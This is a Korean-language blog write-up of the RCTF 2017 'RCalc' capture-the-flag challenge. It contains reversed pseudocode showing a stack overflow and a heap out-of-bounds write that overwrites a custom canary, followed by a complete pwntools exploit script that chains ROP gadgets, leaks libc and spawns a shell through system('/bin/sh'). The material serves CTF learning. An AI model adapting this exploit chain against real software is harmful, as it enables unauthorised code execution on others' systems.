1. Reversing
main(0x401036)
setvbuf
setvbuf
setvbuf
call 0x400a06
[0x6020f8] = malloc(0x10)
if [0x6020f8] == 0:
exit(1)
[0x6020f0] = malloc(0x10)
if [0x6020f0] == 0:
exit(1)
[[0x6020f8]] = 0
[[0x6020f8] + 8] = malloc(0x100)
[[0x6020f0]] = 0
[[0x6020f0] + 8] = malloc(0x320)
alarm()
call 0x400fa2
call 0x400aab
if [[0x6020f0]] != 0:
[rbp-0x18] = fopen("/dev/urandom", "r")
fread(rbp-0x24, 0x1, 0x4, [rbp-0x18])
fclose([rbp-0x18])
else:
[rbp-0x24] = ([[0x6020f0]] * 8) - 8 + [[0x6020f0]+0x8]
srand([rbp-0x24])
[rbp-0x20] = rand()
[rbp-0x20] = rand() | ([rbp-0x20]/0x100000000)*0x100000000
rsi = [[0x6020f0] + 0x8]
[[0x6020f0]] = [[0x6020f0]] + 1
[[[0x6020f0]+0x8] + ([[0x6020f0]] << 3)] = [rbp-0x20]
return [rbp-0x20]
[rbp-0x8] = rax # like canary
printf("Input your name pls: ")
scanf("%s", rbp-0x110) // stack overflow
printf("Hello %s!\n Welcome to RCTF 2017!!!\n", rbp-0x110) // libc_leak??
puts("Let's try our smart calculator")
call 0x400e72
call 0x400aab(fopen)
[rbp-0x10] = rax
while True:
call 0x400bee
menu()
call 0x400cbf
call 0x400aab(fopen)
[rbp-0x8] = rax
memset(rbp-0x30, 0x0, 0x20)
call 0x400c4e(rbp-0x30, 0x20)
[rbp-0x18] = arg1(rbp-0x30)
[rbp-0x1c] = arg2(0x20)
[rbp-0x4] = 0
for ([rbp-0x4] = 0; [rbp-0x4] < [rbp-0x1c]; [rbp-0x4]++){
if read(0x0, rbp-0x5, 0x1) <= 0:
return [rbp-0x4]
BYTE PTR [[rbp-0x18] + [rbp-0x4]] = [rbp-0x5]
if BYTE PTR [[rbp-0x18] + [rbp-0x4]] == 0xa:
return [rbp-0x4]
}
call 0x400b92
[rbp-0x8] = [[[0x6020f0]]*8 - 8 + [[0x6020f0]+0x8]]
[[0x6020f0]] = [[0x6020f0]] - 1
return [rbp-0x8]
if(rax != [rbp-0x8])
call 0x400bd4
return atoll(rbp-0x30)
[rbp-0x18] = rax
if [rbp-0x18] == 1:
call 0x400d24
printf("input 2 integer: ")
[rbp-0x8] = call 0x400cbf(read integer)
[rbp-0x10] = call 0x400cbf(read integer)
return [rbp-0x8] + [rbp-0x10]
elif [rbp-0x18] == 2:
call 0x400d6a
printf("input 2 integer: ")
[rbp-0x8] = call 0x400cbf(read integer)
[rbp-0x10] = call 0x400cbf(read integer)
return [rbp-0x8] - [rbp-0x10]
elif [rbp-0x18] == 3:
call 0x400dad
printf("input 2 integer: ")
[rbp-0x8] = call 0x400cbf(read integer)
[rbp-0x10] = call 0x400cbf(read integer)
return [rbp-0x8] / [rbp-0x10]
elif [rbp-0x18] == 4:
call 0x400df5
printf("input 2 integer: ")
[rbp-0x8] = call 0x400cbf(read integer)
[rbp-0x10] = call 0x400cbf(read integer)
return [rbp-0x8] * [rbp-0x10]
elif [rbp-0x18] == 5:
call 0x400b92
if rax != [rbp-0x10]:
call 0x400bd4
puts("No!!!")
exit(1)
return
else:
continue
if [rbp-0x18] != 5:
[rbp-0x8] = rax (function retrun value)
printf("The result is %d\n", [rbp-0x8])
printf("Save the result? ")
read(0x0, rbp-0x30, 0x10)
if strncmp("yes", rbp-0x30, 0x3) == 0:
call 0x400e39([rbp-0x8])
[rbp-0x8] = arg1([rbp-0x8])
[[0x6020f8]] = [[0x6020f8]] + 1
[[[0x6020f8]+0x8] + [[0x6020f8]] * 0x8] = [rbp-0x8] // out of bounds to canary
// modify canary value
continue
call 0x400b92
[rbp-0x8] = [([[0x6020f0]] * 0x8) - 0x8 + [[0x6020f0]]]
[[0x6020f0]] = [[0x6020f0]] - 1
return [rbp-0x8]
if rax == [rbp-0x8]:
return
call 0x400bd4
puts("No!!!")
exit(1)
return
직접 gdb로 까서 python? C? 비슷하게 수도코드로 만든 모습
2. Exploit
단순한 heap Overflow로 custom canary를 overwrite해서 우회 -> ROP
딱히 얻어갈게 없던 문제당.
신기한 트릭이나 새로운 기법은 없었음.
3. slv.py
from pwn import *
p = process('./RCalc')
def calc(operator, integer1, integer2, save):
p.sendlineafter('Your choice:', str(operator))
p.sendlineafter('integer: ', str(integer1))
p.sendline(str(integer2))
is_save = ''
if save == True:
is_save += 'yes'
else:
is_save += 'no'
sleep(0.1)
p.sendlineafter('? ', is_save)
return
def main():
####### ROP & LIBC_LEAK STAGE #######
pop_ret = 0x401123 # : (b'5fc3') pop rdi; ret
pop2_ret = 0x401121 # : (b'5e415fc3') pop rsi; pop r15; ret
got_addr = 0x601ff0 # __libc_start_main address
printf_plt_addr = 0x400850
scanf_plt_addr = 0x4008e0
fini_array_addr = 0x601e10
leave_ret_addr = 0x400fa0
bss_addr = 0x602300
system_offset = 0x46590
binsh_offset = 0x180543
payload = ''
payload += 'a' * 0x108
payload += p64(0x11111111) # canary
payload += p64(bss_addr-0x8) # FSP
# start rop chain
payload += p64(pop_ret)
payload += p64(0x401203)
payload += p64(pop2_ret)
payload += p64(got_addr)
payload += p64(0xdeadbeef)
payload += p64(printf_plt_addr)
payload += p64(pop2_ret)
payload += p64(bss_addr) # location to write
payload += p64(0xdeadbeef) # dummy
payload += p64(pop_ret)
payload += p64(0x401203)
payload += p64(scanf_plt_addr)
payload += p64(leave_ret_addr)
payload += p64(0xdeadbeef) # fake rbp
p.sendlineafter(': ', payload)
####### OVERWRITE CANARY STAGE #######
for i in range(34):
calc(1, 1, 2, True)
payload = 0
payload += 0x11111111 # Overwrite Custome canary
calc(1, payload, 0, True)
####### LIBC_LEAK & OVERWRITE GOT STAGE #######
p.recv()
p.sendline('5')
libc_leak = u64(p.recv()[:8] + '\x00\x00')
libc_base = libc_leak - 0x21e50
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
log.info('libc_base : ' + hex(libc_base))
payload = ''
payload += p64(pop_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
return
if __name__ == '__main__':
main()
주의해야될 점은 bss영역을 좀더 위로 잡아야되는 거랑 scanf로 입력을 받기때문에 0x20이 입력되면 해당 바이트 포함해서 뒷부분의 payload가 모두 무시되므로 0x20이 포함되지 않게 주의해서 주소 선별을 해야됨.
rop gadget도 딱히 없어서 요령껏 잘 찾아서 해야됨 0x601ff0에 __libc_start_main got가 있어서 libc_leak이 가능했음.
'System > RCTF 2017' 카테고리의 다른 글
[RCTF 2017] - RNote - 191110 (0) | 2019.11.10 |
---|